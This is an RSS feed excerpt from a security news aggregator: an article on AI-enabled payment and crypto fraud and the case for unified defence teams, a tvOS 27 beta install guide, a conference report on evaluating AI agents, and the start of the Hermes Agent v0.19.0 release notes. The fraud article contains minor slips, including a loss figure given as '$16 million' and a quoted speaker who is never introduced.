<p class="wp-block-paragraph">Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.</p>



<p class="wp-block-paragraph">The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. <a href="https://nilsonreport.com/articles/card-fraud-losses-worldwide-2024/">Global payment fraud reached $33.4 billion in 2024</a> according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies <a href="https://www.fbi.gov/news/press-releases/cryptocurrency-and-ai-scams-bilk-americans-of-billions">more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025</a> (up from $16 million in 2023), while Deloitte projects <a href="https://www.deloitte.com/us/en/insights/industry/financial-services/deepfake-banking-fraud-risk-on-the-rise.html">AI-enabled fraud in the US will hit $40 billion by 2027</a>. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.</p>



<p class="wp-block-paragraph">For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.</p>



<h2 class="wp-block-heading"><a></a>Reconnaissance at scale: How AI redraws the attacker’s map</h2>



<p class="wp-block-paragraph">The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of<a href="https://www.automox.com/"> Automox</a>, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”</p>



<p class="wp-block-paragraph">The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.</p>



<p class="wp-block-paragraph">The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.</p>



<p class="wp-block-paragraph">Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.</p>



<h2 class="wp-block-heading"><a></a>Fragmented command: The structural vulnerability AI exploits</h2>



<p class="wp-block-paragraph">Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.</p>



<p class="wp-block-paragraph">A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.</p>



<p class="wp-block-paragraph">Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.</p>



<p class="wp-block-paragraph">“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product &amp; Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of <a href="https://www.binance.com/en/blog/security/2953911729763975700">security depends on unified intelligence</a> — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.<br><br>“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.</p>



<h2 class="wp-block-heading"><a></a>Unified command: From org chart to battle plan</h2>



<p class="wp-block-paragraph">Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.</p>



<p class="wp-block-paragraph">That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.</p>



<p class="wp-block-paragraph">The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.</p>



<p class="wp-block-paragraph">Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”</p>



<h2 class="wp-block-heading"><a></a>Field manual: What winning institutions do differently</h2>



<p class="wp-block-paragraph">The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.</p>



<p class="wp-block-paragraph">Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Releases tvOS 27 Beta 4: What’s New and How to Install]]></title>
<description><![CDATA[Apple has released tvOS 27 Beta 4 for developers, continuing testing ahead of the software’s public launch later this year. The update carries build number 24J5325d and arrives around two weeks after the third developer beta.



This release mainly focuses on improving stability and fixing proble...]]></description>
<link>https://tsecurity.de/de/3682897/ios-mac-os/apple-releases-tvos-27-beta-4-whats-new-and-how-to-install/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682897/ios-mac-os/apple-releases-tvos-27-beta-4-whats-new-and-how-to-install/</guid>
<pubDate>Tue, 21 Jul 2026 09:09:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released tvOS 27 Beta 4 for developers, continuing testing ahead of the software’s public launch later this year. The update carries build number 24J5325d and arrives around two weeks after the third developer beta.



This release mainly focuses on improving stability and fixing problems reported in earlier beta versions. Since beta software can contain bugs, users should consider installing it only if they are comfortable testing unfinished software.



How to Install tvOS 27 Beta 4



You can download the latest developer beta directly through the Settings app on a compatible Apple TV.




Turn on your Apple TV and open Settings.



Select System.



Open Software Updates.



Select Beta Updates.



Choose tvOS 27 Developer Beta.



Return to the Software Updates screen.



Select Update Software, followed by Download and Install.




Your Apple TV must use an Apple Account registered with the developer program. Apple now allows users with a free developer account to access developer beta software. Keep the device connected to power and the internet until the installation finishes.



What’s New in tvOS 27 Beta 4?



Apple has not announced any major user-facing additions specifically for tvOS 27 Beta 4. The update appears to concentrate on bug fixes, performance improvements, and preparing existing features for the final release.




Bug fixes and improved stability: Beta 4 should address crashes, interface problems, and other issues discovered during earlier testing.



Smoother system performance: Apple continues to improve app-opening speeds, system animations, and general responsiveness across tvOS 27.



Improved Control Center: tvOS 27 includes a more responsive Control Center, making common settings and controls easier to access.



Redesigned Podcasts app: The Podcasts app receives an updated design that makes browsing shows, episodes, and saved content easier on a television screen.



Faster AirPlay connections: AirPlay connects more quickly when sending content from an iPhone, iPad, or Mac to Apple TV.



Larger text options: New accessibility settings allow users to increase text size across more parts of the tvOS interface.



AppleCare details in Settings: Users can check AppleCare coverage information directly from the Apple TV Settings app.




These features belong to the wider tvOS 27 update and are still being refined through the beta process. Apple may introduce additional adjustments before releasing the stable version.



Users running an earlier tvOS 27 beta should see Beta 4 inside Software Updates. If the update does not appear immediately, restart the Apple TV and check the Beta Updates setting again.



If you’ve already installed the update, let us know your experience in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026]]></title>
<description><![CDATA[A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.At VB Transform 2026, Harrison Chase...]]></description>
<link>https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</guid>
<pubDate>Mon, 20 Jul 2026 22:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, <!-- -->Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.</p><p>Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.</p><p>"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."</p><h2>Evaluation criteria now function as the product spec</h2><p>That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.</p><p>"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."</p><p>Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."</p><p>Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.</p><p>Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.</p><h2>Why scoring traces one at a time is a mistake</h2><p>Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.</p><p>Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.</p><p>Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.</p><h2>Sizing the judge to the job</h2><p>Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.</p><p>LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.</p><p>Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."</p><h2>LLM-as-judge doesn't mean human-in-the-loop disappears</h2><p>The bigger question is whether using LLM as a judge removes the need for a human in the loop.</p><p>Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.</p><p>"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."</p><p>Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level. </p><p>Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
